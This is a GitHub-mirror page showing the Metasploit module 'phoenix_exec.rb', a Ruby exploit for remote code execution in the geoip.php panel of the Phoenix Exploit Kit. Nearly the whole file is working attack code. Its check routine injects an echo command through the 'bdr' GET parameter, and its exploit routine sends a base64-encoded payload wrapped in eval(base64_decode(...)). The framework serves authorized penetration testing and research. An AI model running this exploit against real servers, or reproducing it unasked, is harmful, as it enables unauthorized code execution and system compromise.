/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/multi/http/phoenix_exec.rb
79 строк
2 KB
adfoster-r7
Add human-readable descriptions to CheckCode returns in multi/http exploit modules (P-Z)
23 апр 2026, 14:26
23 апр 2026, 14:26
96a37da
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Phoenix Exploit Kit Remote Code Execution', 'Description' => %q{ This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via geoip.php. The Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the presence of outdated and insecure versions of browser plugins like Java and Adobe Flash and Reader, silently installing malware if found. }, 'License' => MSF_LICENSE, 'Author' => [ 'CrashBandicot', # initial discovery by @DosPerl 'Jay Turla' # msf module by @shipcod3 ], 'References' => [ [ 'EDB', '40047' ], [ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit [ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => '2016-07-01', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']) ] ) end def check test = Rex::Text.rand_text_alpha(8) res = http_send_command("echo \"#{test}\";") if res && res.body.include?(test) return Exploit::CheckCode::Vulnerable('Successfully verified remote code execution') end Exploit::CheckCode::Safe('The target is not vulnerable') end def exploit encoded = Rex::Text.encode_base64(payload.encoded) http_send_command("eval(base64_decode(\"#{encoded}\"));") end def http_send_command(cmd) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'bdr' => cmd } ) end end